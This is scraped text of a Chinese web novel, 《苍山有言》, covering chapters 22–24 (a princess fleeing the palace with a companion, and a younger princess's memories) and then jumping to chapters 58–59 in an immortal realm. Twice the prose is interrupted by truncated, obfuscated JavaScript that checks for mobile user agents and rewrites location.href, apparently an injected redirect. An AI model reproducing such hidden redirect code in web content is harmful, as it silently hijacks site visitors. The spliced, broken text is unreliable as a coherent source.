国君看着下面一动不动的娄齐洲,哼了一声,“行了,起来吧。” 娄齐洲恍若未闻,跪在地上,“请父皇三思!” 国君又盯了他一会儿,用手摩挲了会下巴,“孤要是你,孤就不会在这里浪费时间。” 娄齐洲身子一颤,缓缓抬起僵硬的身来,看向台上的国君。 国君似笑非笑,“天下怎么可能真有谁都解不出的奇毒?” 娄齐洲脸色一变。 国君见他懂了,点了点头,“洲儿啊,你一向光明磊落,蔑视那些见不得光的手段,不忍心对去对付任何一个兄弟姐妹。你可曾想过,你不动他们,他们会 22. 第 22 章 《苍山有言》全本免费阅读 昭意有些意识时,感觉到手心痒痒的,她想缩手,手腕却被人捏住。 昭意一惊,猛然惊醒。 “别动。” 楚行昀一手握住她的手腕,一手沾了药往她手心抹。 药上手后十分清凉,掌心火辣辣的感觉也散去了许多。 昭意哑着声音道:“多谢。” 殿里一时无言,只有两个人平稳的呼吸声。 沉默过后,昭意问:“你知道哪能弄来酒吗?” 楚行昀手里的动作一顿,惊愕地看向昭意。 “师兄说过,酒能解千愁,我想试试这酒到底能不能解掉我现在的愁。” 楚行昀沉默地看了她一会儿,“你真是胡闹!” 说着上药的手不小心重了些。 昭意“嘶”的一声就要缩回手。 而后她又笑了两声,“没有酒,也不至于下手这么重吧。” 楚行昀看着她强颜欢笑的脸,面无表情道:“不想笑就别笑了。” 昭意抿了抿唇。 楚行昀将药盒盖上,站起身来,“你在这等我。” 说罢,一翻身,就从窗户出去了。 片刻后,他又提着一坛酒回来。 打开盖子,酒味就扑面而来。 昭意凑近嗅了嗅,就要抱起酒罐,“从哪来的?” 楚行昀抢先一步拿到酒罐,放得远远的。 “不知道哪个殿里的,顺手就拿了。” 他拿了只茶杯,将酒倒入杯中,往昭意面前一递,“你手上伤未好,不宜多饮酒,只能喝这一杯。” 昭意大失所望,“就一杯够喝吗?” 她捧起酒杯,抿了一小口,随即整张脸都皱了起来。 “这……这是什么味道?” 昭意苦着脸,“师兄骗我!这酒怎么能解愁?喝多了应该是更愁才对。” 楚行昀第一次看到昭意这样,轻笑一声,拿起酒罐就往嘴里灌。 然后用衣袖擦了擦从嘴角流下来的酒水,“你第一次喝定有些不习惯,以后多喝几次就好了。” 昭意将信将疑,“真的?” 她犹豫一会儿,捧起杯子将酒一饮而尽,下一秒却呛出声来。 “咳咳咳……” 昭意眼泪花都被呛出来了,她双眼模糊地看着楚行昀,“骗人!多喝也没有好一点!” 她脸颊染上绯红,楚行昀就知道她有些醉了。 看着就要顺着嘴角流入脖颈的酒水,楚行昀连忙用衣袖将她嘴角的酒擦去,哭笑不得,“我是说以后喝多了就习惯了,不是说你一次多喝点就能好。” 昭意垂着头轻哼一声,并不想理他。 她躺下,将旁边的被子扒拉过来。 “无趣,你下去吧,我要睡觉了。” 昭意觉得刚才那被酒下肚后,整个人都被灼烧了一般,嗓子火辣辣的,只想睡觉。 楚行昀无奈叹息,打算开窗散散房里的酒气。 回来时,却听到昭意喃喃道:“如果我从来没有去过落鹫山就好了……” 他一愣,转过身来。 昭意仰面躺在床上,睁着无神的双眼,她眼睛微垂,就有眼泪从眼角滑落下来,掉入被褥中消失不见。 楚行昀抿住了唇,没有说话。 昭意闭上眼,“如果我一直都在宫里,没有见过外面的世界,不知道自由的感觉,或许我还能坦然去面对这一切。” 她轻笑,翻了个身,将脸埋入被褥。 可偏偏她在落鹫山长大,虽生活在山野间,住木屋穿布衣,但好歹自由自在,能跑在石板路上,在林间穿梭欢笑。 她也以为凭着自己的努力,能够摆脱一切困境的。 但到头来发现,她还是被紧紧束缚着,身不由己。 “昭意。” 楚行昀上前一步,将她挡住脸的被褥扯开。 他目光沉沉,“我们走吧。” 昭意一愣,机械地转头,“去哪?” 楚行昀道:“去哪儿都好,只要不在这皇宫里。” 昭意坐起身来,摇了摇头,“我出不去的。” 楚行昀急了,“怎么会?就用你的隐形符,我已进出宫好几次,我一定能带你出去的。” 她双手环膝,摇了摇头,低声道:“落鹫山弟子皆不能无故使用灵力。贵妃那有我师父的手串,想必是师父算到我下山后的所作所为,这才送来手串告诫我的。” 她仰头轻笑,“或许这就是师父算到的机缘吧。” 楚行昀冷哼一声,“这算什么机缘?应当是劫才对!” 他垂下眼眸,不知怎的心中一涩。 楚行昀轻声道:“竹林初见你时,我以为你是天上的仙女,帮我打跑了坏人。” 他回想起当时,忍不住低笑,“那时我就觉得,你应该是生活在山林之中的仙子,来去自由,不可亵渎。” 昭意听着楚行昀说的,也渐渐陷入回忆之中。 是了,初下山之时,她还是那般意气风发。 不过几月时间,却恍若隔年。 楚行昀看着昭意,认真道:“你来时蔑视这皇宫中的说教和规矩,为何到你师父这里就变了?你师父定的规矩和这宫中的教条又有什么区别?” 他眼神一黯,紧盯着昭意。 困住她的,向来是她自己。 昭意抿唇,“可这是所有落鹫山弟子都要遵循的……” “昭意。” 楚行昀打断她,“有人说过你很倔吗?你总是考虑那么多,却没有考虑到你自己。” 昭意沉默。 “可若是抛下一切走了,那你要的查真相……” 楚行昀又打断她,“我是问你自己的意愿,你想不想离开?抛开所有的一切,你自己想不想离开。” 昭意惊愕,怔怔地面向楚行昀,心中似乎有一股暖流经过,敲碎了被禁锢已久的心。 她好像听到了心脏跳动的声音。 自然是想的。 楚行昀又说:“我们一起离开这里吧。” 昭意张了张口。 尽管理智告诉她不应该这样,但她还是听到自己说,“好。” 昭意的眼泪也跟着流了下来。 够了,她受够这个尔虞我诈的地方了。 她在祝郦国从未获得过什么,所以想通的那一刻,心里竟是无比的轻松。 想到来到祝郦国后的种种,让她越来越觉得自己不适合这个地方,这个犹如监狱一样的地方。 只是脑海里却闪过一人。 昭意想,娄齐洲应该是她离开祝郦国以后唯一会留恋的人了。 楚行昀见昭意终于想通了,不禁松了一口气,也替她高兴。 他扬起嘴角,“我知道我们去哪儿了。” 昭意惊讶,“这么快?” 楚行昀挑起神秘的笑,“不快,我已经筹划许久了。” 他从昭意书架上抽出那本古籍,翻到苍山那页上,指着说道:“我们去苍山。” 昭意从他手上拿过书籍,指腹在上面轻轻摩挲。 “好。” 随后昭意手指一顿,抬起头来,“我们?” 楚行昀道:“是啊。” 他转过头来,突然想到什么,有些不高兴地抿起唇,“难道你不带我一起吗?” 说罢他生怕昭意说不带他的话,连忙道 23. 第 23 章 《苍山有言》全本免费阅读 娄齐洲松了一口气,站在门口却不见昭意出来,心中疑虑,提步就要往里走。 采樱见状,也跟上前去。 里面却传来昭意的声音,“采樱,你守在外面,我和兄长有几句话要说。” 采樱抿了抿唇,也只好走出去关上门。 娄齐洲穿过一层层帘子,见到眼前的人时,身子一僵。 昭意身上还穿着还没来得及换下的布衣,头上饰品皆除,朴素简单。 她什么都没带,就像她来时那样。 沉默片刻,娄齐洲哑着声音道:“三妹妹的事我已派人去查,已有些眉目……” 他说着,深吸了一口气,保持声音平稳,“你,可否再等上些时日?” 听着他声音里轻微的颤抖,昭意低下头,心中蓦地泛出一片苦涩。 此刻,娄齐洲是她最不想见到的人。 因为他 昭意未答,旁边却凭空显现出来一个少年,他目光如炬地看向娄齐洲,“等不了了。” 他说:“最近盯着梧桐宫的人越来越多,越往后越难走。国君的心思多变,指不定哪天圣旨就下来了,而且二殿下不过查到了线索,能保证最终能让三公主醒过来吗?” 娄齐洲咬紧牙关,手握得颤抖。 楚行昀站在昭意身前,直视着娄齐洲,眼神晦暗。 他低声说:“二殿下若真的为了昭意好,就不要拦着我们。” 楚行昀紧盯着娄齐洲,手暗暗握住刀柄。 若娄齐洲还要阻拦,他只能先下手为强。凛风不在这里,他就多了些胜算。 娄齐洲目光越过楚行昀,看向了后面的昭意。 她就和刚才一样静静的站在那里,虽未发一言,但也没有阻止楚行昀。 良久,娄齐洲退了一步,哑声道:“走吧。” 楚行昀暗暗松了一口气,转身看着昭意。 昭意心中酸涩,顿时觉得脚步沉重到让她提不起来。 娄齐洲侧身,看向窗户那边,不去看两人,“还不快走?凛风将人都拦在外面了。” 昭意缓慢提步,与楚行昀一同向外走去。 只是擦肩而过的那一刻,满满的酸涩像一团云雾一样笼罩在心头。 走到门口了,昭意又回头。 “兄长,谢谢你。” 殿里的人一动不动,也未曾回头看。 昭意捏着一张符,与楚行昀一同消失在门口。 良久,娄齐洲猛然转身,身后早已没了人。 他匆匆行到门口又顿住,只有迎面吹来的冷风带走了他眼角的湿意。 采樱在外头守了许久。 二皇子进房后就一直没出来,等得她有些着急。 虽然二皇子是昭意的亲哥哥,但两人共处一室,孤男寡女的怎么看都不太合适。 眼看夜渐深,采樱鼓足了勇气上前去敲门。 片刻后,门打开了,娄齐洲从里面走了出来。 采樱看着他的脸色,犹豫道:“二殿下……” 娄齐洲眼眶微红,笑了笑,“妹妹她歇下了,先别打扰她了。” 说罢,他往里深深看了一眼,轻拍上了门板,转身便走,带起一阵风。 采樱愣愣地看着他的背影,觉得有些奇怪。 * 第二天一早,梧桐宫传来一声尖叫。 择梨去唤昭意起床时,才发现人不见了。 梧桐宫上上下下都搜了一遍,还是找不到人,只能上报给了陛下。 近来盯着梧桐宫的人多,消息还没到陛下那里时,整个宫里就已经传了个遍。 知道昭意失踪前,娄齐洲曾去过梧桐宫,陛下勃然大怒,狠狠打了娄齐洲十几个板子。 “你是最后一个见到她的人,她去哪儿了你怎么可能不知道?” 娄齐洲脸色苍白,气若游丝,“儿臣……不知……” 陛下往他身上砸了个杯子,指着他的手指颤抖,“犟种!犟种!你就想了这么个法子!” 林贵妃扑了过去,手捧住娄齐洲的脸,“儿啊,你傻啊!” 她满目泪水地看向国君,“陛下!洲儿只是一时糊涂!求您不要再打了!” 国君还没说话,就有个小太监急匆匆跑来,“齐铭国使者大殿外要见陛下!” 国君揉了揉眉心,忽而怒目看向林贵妃,“使者就在外头,你要孤怎么拿出个公主和亲去!” 林贵妃脸色惨白,跌倒在地上,眼泪一滴滴往下落。 国君见了,怒气不免消了几分,但一想到堵在外面的使者,又恼怒起来。 娄齐洲轻咳几声,抬眼看向国君,“父皇,若父皇还信儿臣,还请父皇再给三日时间,儿臣定妥善处理好此事。” 国君背着手,目光沉沉地看着底下这个儿子。 他目光变了,虽虚弱无力,但眼里有了狠色。 林贵妃也在一旁求情。 国君闭了闭眼,“若三日后没有给使者满意的答复,你该如何?” 娄齐洲拱手,“儿臣自请贬为庶人,此生不进京城!” 林贵妃拉住娄齐洲,“儿啊,何苦至此啊!” 娄齐洲恍若未闻,直直地看向国君。 国君也是审视着他,良久才道:“孤允许你三日!” 最终国君好说好歹,还是暂时将使者安抚住了,给了三日期限。 使者也是放出话来,这是最后一次延期,若三日后还没有法子,祝郦与齐铭的联姻只能作罢。 知道这个消息后,最为高兴的就是皇后了。 她将娄齐鸿叫到面前,“这几日你多去父皇面前走动走动,给你父皇些好印象。” 皇后挑起志在必得的笑。 她倒是要看看,三日后娄齐洲要怎么找个公主去联姻。 见母妃今日终于不打骂他了,娄齐鸿也十分高兴,“儿这就去见父皇。” 听着两人的对话,静静坐着的娄婉倾垂下眼眸,手里的帕子已经被揉成了一团。 相比于母子二人的欢欢喜喜,娄婉倾默默走出了大殿。 她在自己宫中待了一整天,听说了娄齐洲被父皇打了板子,伤势很重,最终还是按耐不住,第二天一早就去二皇子宫中去了。 很幸运的是,这次竟然没人拦她。 在宫人的引领下,她步入了娄齐洲院中,在院里就能听到房屋中说话声传来。 她环视周围,心中一涩。 上次能来到娄齐洲院里,还是小的时候了。 等她走入书房内,看到娄齐洲穿着便服靠在桌前,头发未像之前那样高束,只是披散在身后,脸色还有些苍白。 凛风在他身边说着什么,见娄婉倾来了,便停了下来。 娄齐洲点 24. 第 24 章 《苍山有言》全本免费阅读 娄婉倾到现在还记得,那天下着很大的雨。 “五公主不见了!” “房里院里都找了,还是没有!” 宫殿里乱哄哄的,一群宫女着急地跑来跑去,哪里都找遍了,但还是没有见到五公主。 无奈之下,宫人只好上报给了皇后娘娘。 那时皇后娘娘正在殿里监督着年幼的娄齐鸿看书。 娄齐鸿跪坐在桌前,端端正正地坐着。皇后娘娘就躺在靠椅上,杵着脑袋看着他。 娄齐鸿转过身来,瞪着漆黑的眼珠子看着皇后,小心翼翼道:“母妃,今天就学到这里可好?” 皇后垂眸看着他手中的书,长长的指甲滑过书页,“师长让你背的,可都会背了?” 娄齐鸿抿了抿唇,小声道:“还差几篇。” 果然,皇后蹙眉。 娄齐鸿连忙撒娇道:“母后,今日儿还练了字,实在是有些累了,明日儿一定全部背完。” 皇后视这个大儿子如命,他这般撒娇,皇后脸色也软了几分。 “罢了。” 皇后刚放下书,就听外面慌慌张张跑来一个宫人。 娄齐鸿眨巴着眼看着,认出了这是妹妹身边的宫人。 皇后问:“何事这般慌慌张张?” 宫人颤抖着身子道:“五公主不见了。” 说罢,宫人视死如归地闭上了眼。 却不料皇后只是冷笑一声,“不过是昨日斥责了她几句,就自己跑出去了。将人都叫回来,不用找了,等她饿了累了,自然会回来。” 宫人松了口气,连忙退下。 旁边的娄齐鸿听了,跪在皇后身边,抬头道:“母后,我还是将那两只鹦鹉送回去好了。” 皇后只是垂眸,看着娄齐鸿的书,淡淡道:“不必,你好好学,不用管这些事。” 娄齐鸿抿了抿唇,只好点头。 昨日父皇赏了娄婉倾两只会打招呼的鹦鹉,他觉得新奇,下学时就去娄婉倾那看了一眼。 他一靠近,两只鹦鹉果然学着人说起话来,顿时来了兴趣,想拿到自己那养几日再送回来。 却没想到娄婉倾反应这么大,死死抓着鸟笼子不放手。 拉扯之下,他不小心将娄婉倾推到了,娄婉倾立即哭了起来,引来了几位嬷嬷。 这事闹到了母妃那里,娄婉倾的衣服在被推到地上时弄脏了,头发也乱了,抹着眼泪向皇后控诉他是如何抢她的鹦鹉的。 皇后听了,朝他看了过来,“鸿儿,你想要那两只鹦鹉?” 原本他很是忐忑,但在接触到皇后的目光时,心却平静了下来。 想起平日里师长说的担当,于是他说:“儿只是有些好奇,若是妹妹不愿,那儿便不要了。” 却没想到皇后笑了笑,“鸿儿真懂事,将那两只鹦鹉送到大殿下房里去。” 娄婉倾停住了抽泣,惊愕地看向了皇后。 娄齐鸿也慌了,他看向娄婉倾,试图用目光解释些什么,可娄婉倾完全不看他,只瞪大了眼看着皇后。 皇后却淡淡道:“就为了两只家禽闹成这副模样。” 她上下打量着娄婉倾脏了的衣服和凌乱的头发,“哪儿还有公主的样子?嬷嬷平日教给你的都忘了?” 娄婉倾咬唇,忍着眼眶里的泪水,低下头拉了拉自己的衣摆。 娄齐鸿看着她,心里过意不去,“母妃,其实是我抢妹妹的鹦鹉,并不是她的错!” 听了这话,皇后却对娄婉倾说:“学学你兄长,要学会谦让,不就是两只鹦鹉吗?都是亲兄妹,有什么好争的。” 娄齐鸿发觉自己越说越错,就不说话了,只是担忧地看着娄婉倾。 娄婉倾听着皇后的训斥,泣不成声,最后她抬起头来,憎恶地瞪着他。 他心里一凉,张了张口想要说什么,却发不出声。 * 雨下的太大了。 娄婉倾缩在假山的洞里,透过缝隙看着外面。 有雨水渗透进来,她只能挪一挪位置,但还是有些水滴落到她身上。 她来时没有下这么大的雨,只是想找个没人的地方一个人待着。 其实她也有些小心思,想着一会儿母后会不会很着急地来找她。 但是一想到昨日的事情,她心情就低落下去。 娄婉倾不明白,为什么母后总是那么偏心,只会夸奖兄长,在冬天给兄长送汤婆子,会关注兄长的学业,也记得兄长喜欢吃的东西。 而对她的关心却远远不及兄长那样,皇后不知道她如今的绣艺在京城同龄人中是最厉害的,就连吟诗作词也只有裴清菱能与她一比。 皇后也不知道她讨厌花生。 时间渐渐过去,天色阴沉沉的,上空炸了一颗响雷。 娄婉倾身子一缩,抱住了自己。 腹中饥饿难耐,但是她还是倔强得不想出去,或许再等一会儿母妃就来找她了呢? 但是直到下起了大雨,也没有见到皇后的身影。 随着雨越下越大,娄婉倾眼神黯淡了下去,她眼里浸出眼泪,泪珠大颗大颗地往下掉。 从缝隙里落下来的雨滴打湿了她的脸,一时间不知道她脸上的是泪水还是雨水。 慢慢的,她越哭越大声,像是把平日里的委屈统统都哭出来。 或许哭出来就好了吧,反正这花园里也没有人会来,也没有人听得到。 她把脸埋在膝盖上抽泣着。 就在她以为这个世界里只有她一个人时,蓦地,她的头顶递来了一把伞。 她睁大眼睛,透过模糊的视线看去。 雨打在伞上发出沉闷的声音,少年一身白衣,手撑着伞,微微弯着腰看着她。 他眼睛仿佛黑夜中的星辰,温和又宁静,他将伞都往她身上靠过去,而自己的后背很快就被雨淋湿了。 少年朝她温和地笑,“这不是五妹妹吗?怎么一个人在这里?” 娄婉倾有些失神,觉得眼前的人好像泛着神光。 但是她很快就认出了眼前的人,是母后最讨厌的林妃的儿子娄齐洲。 每次母后都要拿兄长和娄齐洲比较,若是哪里不如娄齐洲了,兄长定是要被母后责罚的,母后也从来不让她与林妃和娄齐洲有所交际,平日里也只是在宴会上远远地看上一眼。 于是她防备地往后缩了缩,警惕地看着娄齐洲。 少年却微微一愣神,随后道:“别怕,我是你二哥哥。” 他抬头张望了周围,又低下身对她说,“雨下得太大了,你不能一个人待在这里,先跟我走好不好?” 少年的声音清润,似哄着她,又或许是因为他眼里的神情太过温和,让她鬼使神差道:“好。” 那天是娄齐洲背着她走的,她在背上撑着伞,两个人摇摇晃晃地走在大雨中。 因为风刮得太大,两个人回到殿里时都已经成了落汤鸡。 二皇子殿里的人慌慌张张取了布来擦,“哎哟我的二殿下,你又跑哪儿去了?” 娄齐洲笑笑,从怀里掏出来一个木盒给宫人递过去,“和以前一样。” 宫人接过木盒,嚷嚷道:“这都快堆满一整个箱子了!” 宫人转身时,又看到了娄齐洲身后的娄婉倾,不由得一愣,“这是......” 娄婉倾知道自己母妃和林妃向来不和,也没指望二皇子殿里的人能对她有好脸色,她低下头,却又抬起头来偷偷打量着,却正好碰撞上娄齐洲温和的眼神。 娄齐洲笑道:“这是五妹妹,也淋湿了,让人送热水来,再备一套干净的衣服。” 那眼神里无一分一毫敌意,甚至有了她在皇后和兄长那里从来没有感受过的关切。 娄婉倾脸一红,赶紧低下了头。 她发现这个二哥哥,和母妃口中的人完全不一样。 从那天过后,她便经常偷跑来二皇子殿里,借着喜欢他宫里的茶为借口,只为和他多待上一段时间。 娄齐洲会备好她喜欢的糕点等她,也会为她在作诗上的天赋而感到高兴。 两人越来越熟悉,她也越来越依赖娄齐洲,二皇子殿里的人对她的到来已见怪不怪了。 她最快乐最舒坦的日子,就是在娄齐洲身边。 这里不会有母妃愤怒的责骂,也不会有严苛的规矩要求。 她有时候甚至会想,如果娄齐洲是她的亲哥哥就好了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884525|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳地“嗯”了一声。 两人进了上玄殿。 珩则停了下来,佯装不经意地问她,“执真可有跟你说了什么?” 这话听得耳熟,上次落菱仙子来上玄殿时他才说过这话。 昭意想,或许是和执真仙君说的前世有关,这叫她越发好奇了,前世究竟发生了什么,竟然不想让她知道。 只是她已经答应了执真仙君,就不能直接问珩则。 昭意沉思的时间有点长,待她抬头要说话时,竟然在珩则的目光里捕捉到一丝紧张。 到现在昭意才发觉,珩则与楚行昀有如此之多的相似之处。 在珩则的注视下,昭意缓缓道:“他同我说了楚行昀的事。” 昭意紧紧盯着珩则。 他垂下眼眸,挡住了眼中的情绪,“是吗……” 昭意继续看着他,“仙君不好奇他是谁吗?” 珩则眼神闪避,跟着问,“他是谁?” 然而他问后,却没等来昭意的回应。 他抬眼,对上了昭意带着些许探究的目光,两道目光相撞,很快就被移开。 珩则猛然回身,低声道:“我还有些事。” 说罢,他匆匆忙忙朝殿里走去,有几分落荒而逃的意味。 昭意盯着他的背影,眸光一转,她回身就朝殿外走去了。 * “上次你说,有一种法器可以追溯一个人的所有过往?” 昭意离了上玄殿,就去桃林找到了长岁。 长岁手里捧着仙桃,坐在树上,他咀嚼几下,将口中的东西吞了下去。 “仙子是说轮回镜吧?” 昭意脚下一蹬,落到长岁身边,“你说那轮回镜,能不能看到我的前世?” 长岁讶然,“仙子不知道自己的前世吗?” 昭意沉默,片刻才点点头。 她望向远处,轻声道:“似乎有些我不知道的事情。” 在来的路上,她想到了很多。 曾经出现在她身体中的那抹魂魄,苍山上那棵神树,落菱仙子看她的眼神,执真说的话…… 她想弄清楚一切。 长岁想了想,“定是可以的。” 他朝昭意一笑,一拍胸脯道:“予青仙子你放心,若是看本人的前世,哪怕只有一抹魂魄都能成功。” 闻言,昭意心底已经打定了主意。 “东海的宴会,我要去。” 长岁眼睛一亮,将手里的桃子一丢,“当真?若珩则仙君不允你去,你便跟我和我师尊一起去。” 昭意点点头,朝他笑道:“好,那我便提前谢过长岁小仙君了。” 长岁脸一红,摆摆手,“不客气不客气。” 两人谈话间,远远地看到几个仙娥朝着桃林走来。 长岁见了,骄傲道:“这上境的灵气,若说充沛,还得是我们桃林。上境的仙人们隔三差五就会来咱桃林一趟。” 昭意看向远处,眼睛微微一眯。 那几人走得近了,长岁惊呼一声,“落菱仙子?” 他一拍腿,连忙拽住了昭意的袖子,“坏了坏了,怎么是这个祖宗。仙子我们快些走。” 然而他却没拽动昭意。 长岁抬头一看,昭意正盯着那几人,心中升起不好的预感。 昭意道:“我要过去会一会这个落菱仙子。” 59. 第 59 章 气运 落菱一回上境,就同几百年前一样住在了天后娘娘的落月宫里。 这几百年来,她在东海受尽了折磨。 朱雀本性属火,与水十分相刻,珩则还将她贬到了东海那等阴冷之地,一贬就是几百年。 这百年来,她的仙法不断被弱化,她不停地给父亲递去一封封书信,恳请父亲向珩则仙君和天帝求情,让她早日回上境。 好在父亲自始自终没有放弃她,连着求了百年,终于叫她等来了这一日。 “仙子,这便是娘娘说的桃林。” 落菱抬眼望去,林中还有几个小仙。 她眼中闪过一丝鄙夷。 以前,她可是天之骄女,什么灵丹妙药没有?落月宫从来就没有缺过她的东西,她的灵力也从未像如今这般空虚过。 可如今她都沦落到了和这等低下小仙同游桃林的地步。 落菱握紧了拳头。 落菱身边的仙娥都是万里挑一选出来侍奉天后娘娘的,个个精明得很,一见落菱抿唇,便知道她在想什么,连忙前去呵退那些小仙们,将整个桃林专门为了落菱清空。 落菱看着无人的桃林和那些充沛的灵气,终于露出满意的笑容。 只是她的笑容在见到远处一人时,蓦地一僵。 远远地走来一个仙子,她不像旁的小仙那般惶恐地躲开,反而眉眼带着笑意,直直朝着落菱走来。 落菱身边的宫娥们面面相觑,竟有些不知所措。 瞬息间,昭意已经来到了几人身前。 她朝礼貌一笑,“仙子也来桃林游玩?” 落菱漆黑的瞳孔幽幽地盯着昭意。 如今她看向昭意时的目光,已然没了当时的惊愕与惶恐。 那日的落荒而逃,实在是叫落菱脸上无光。 不就是个凡人吗?带到上境来了又怎样?如今的天帝身侧除了天后外,也有诸多仙妃。 落菱突然觉得自己以前做的事是有些小肚鸡肠了,才惹了珩则仙君不高兴,将她贬了出去。待日后她嫁给了珩则仙君,如今这些事便不过是过眼云烟。 因此,落菱如今见到昭意,心中也不再像先前那样充满了敌意。 她朝着昭意一笑,“予青妹妹,真是巧,想不到你也在桃林。” 昭意自然不会放过落菱脸上的任何表情。 她一边为落菱前后态度变化微微疑惑,一边又为落菱对她的称呼惊讶。 在这上境,可没几人担得起落菱这一声妹妹的。 落菱怎的突然和她套起近乎来了? 昭意变不改色,朝落菱一笑。 落菱摸不准她的意思,一思索,屏退了左右的人。 看着整个桃林只有她们二人了,落菱拉过昭意的手,轻声道:“莫不是妹妹还在恼我先前做的那些事?” 昭意眸光微闪,却不说话。 落菱就当她是默认了,连忙道:“以前是我蠢,想让珩则仙君早日回上境来,才想了那么个法子……唉,今日就给妹妹赔不是了,左右妹妹如今人也没事,就原谅姐姐了吧?” 落菱紧紧贴着昭意,不知情的还以为两人是相识多年的好友。 当然落菱可不是真情实地对昭意好,若是放到以前,她是恨不得撕碎每一个在珩则身边的女人。 只是东海这几百年,她真的怕了。 天后娘娘和父亲从小就告诉她以后一定要嫁给珩则仙君,这事在她心中已经成了执念。 如今昭意已经是上玄殿的人,与昭意交好,自然对自己有好处。 昭意却在默默品着落菱的话。 听这意思,似乎落菱以前做了什么对不住她的事情? 昭意垂下眸,故作心情低落,脸上尽是为难。 落菱一见昭意还是不应,心中有了几分不快。 她生来就没说过几回好话,就算是这几百年在东海被折磨得法力衰退,但东海那群人还不是得恭恭敬敬地伺候她?她何曾这样低声下气过?还是这样一个没权没势的小仙娥。 落菱眼色沉了沉,手轻放在昭意肩膀上,笑着眯了眯眼,“予青仙子刚来上境或许不知,我们朱雀一族在上境若是称二,恐怕没有人敢称一。珩则仙君在这上境待了几万年,自然知道应当与谁结盟最好。待我日后嫁给了珩则仙君,定染不会少了妹妹的好处的。” 落菱手中稍稍用力,紧紧扣着昭意的肩膀,眼中威胁的意味甚是明显。 昭意微微一蹙眉,扫过落菱的脸。 这位落菱仙子似乎还不知道珩则仙君有多恨她?竟然还想着婚嫁的事情。 明明是珩则仙君将她贬到了东海几百年,她竟然这般无怨无悔? 昭意也是有几分感叹落菱的心胸开阔,若是她,她绝对无法做到这般毫无芥蒂。 昭意道:“珩则仙君日后要娶谁,那是他的事情,轮不到我说些什么。若仙子以后真嫁入了上玄殿,那便是上玄殿的主人,对谁好对谁不好,那也是仙子自己的事情。上玄殿中还有事,我便先回了。” 说罢,她朝落菱一笑,绕过落菱便离开了桃林。 可惜这位落菱仙子满脑子的谈婚论嫁,昭意没有套出更多的信息来。 而落菱仙子回宫后砸了好些东西,动静之大,将天后与朱雀长老都给引来了。 如今的朱雀长老名唤赤合,任长老之职已有几千年,膝下就这么一个女儿,还自幼就被送到了天后身边,自然疼惜得不行。 所以在落菱被贬到东海的百年里,他从未放弃向天帝求情。 然而这一次,赤合却没依着落菱的意思。 赤合道:“阿菱啊,为父替你另择一位仙君吧,定不比珩则差。” 这是赤合第一次劝落菱另寻他人。 她惊愕地瞪大了眼。 天后也在一旁劝了几句。 落菱却不能接受,她扶着椅子站了起来,“为何?为何突然让我放弃,不就是你们从小就告诉我以后要努力讨珩则仙君欢心,要嫁入上玄殿来维持家族灵火的吗?” 她不理解。 赤合与天后相望了一眼,不知该如何与落菱说。 若是可以,他们自然是希望落菱能嫁给珩则仙君的。 只因朱雀一族如今还需珩则仙君的神血养着。 珩则之所以在上境这么不同,原因之一便是他体内的神血。 唯有身上有神血的仙人,才能唤出不尽不灭的灵火。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898238|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几千年前,天帝就以增强朱雀实力以稳固上境安宁为由,请珩则仙君赐了朱雀一族神血,于是才有后来的朱雀灵火。 只是神血有限,朱雀一族每次都要向珩则求血,虽有天帝做和,赤合还是心有不安,想着若是能让落菱嫁到上玄殿去,做了珩则仙君的妻子,日后便会有无穷无尽的神血,他们朱雀一族的地位才算是坐稳了。 然而百年前,珩则仙君渡劫归来后,就再也没有赐过神血给朱雀。 这几百年来,也全靠赤合积攒的神血勉强维持着。 只是现在这个关头,赤合也不敢提神血的事。 百年前,落菱闯祸后,还好有人先向天后禀报了此事,天后当机立断就将落菱先送出上境。 当时的落菱还以为她是简单地触怒了珩则仙君,待离开上境避一避风头就好。 只有天后和赤合知晓,当时的珩则是想要让落菱挫骨扬灰的。 当时渡劫归来的珩则双眼赤红,浑身戾气,一时分不出是仙是魔。 好在天后先将落菱送走了,若是落菱还在上境,恐怕真会落得个魂飞魄散的下场。 赤合就这么一个女儿,他自然是拼了一条老命也要保住落菱的性命。 朱雀一族在上境的地位不言而喻,天帝也不会真的让一族长老豁出性命。 于是在天帝天后和赤合以稳固大局,稳住天下苍生的加压下,最终达成的协议是将落菱贬到东海去。 珩则仙君虽饶了落菱一命,却也没想让她好过。 让她在东海度过余生,简直就是让她生不如死。 这也是为何百年后赤合多次向天帝求情,天帝皆不允的原因。 只是没想到,最后天帝还是让落菱回了上境。 天后替落菱擦了擦眼泪,“阿菱乖,日后定会为你择一位比珩则仙君还要好的夫婿。” 落菱扭过头,拂开天后的手暗自垂泪。 天后与赤合相视一眼,以为落菱就此妥协了。 而上玄殿那边,可是出了不得了的事情。 四方阵里有异象。 昭意赶到时,房屋前已经聚集了好几位小仙童。 珩则站在四方阵里,他微微仰头,看着头顶的星宿。 妖界气运大乱。 昭意看了一眼,似乎是有外力在干扰着原本的气运行转。 珩则挥袖收了阵法,转身就看到了站在门口的昭意。 他脚下一顿,脸上还有些不自然。 “我……去妖界一趟。” 昭意如今倒是没再想先前的事,脑子里尽是刚才星宿的模样。 昭意问:“仙君是要去妖界?” 珩则“嗯”了一声,“有人在扰乱气运行转,祝郦那次,也是人为的。” 他看着昭意,“如今看来,恐怕是妖族作祟,无论如何,我得去妖界一趟。” 昭意听着珩则的话,感受了其中的些许杀意。 她脑海里浮现出青佩和招月的模样。 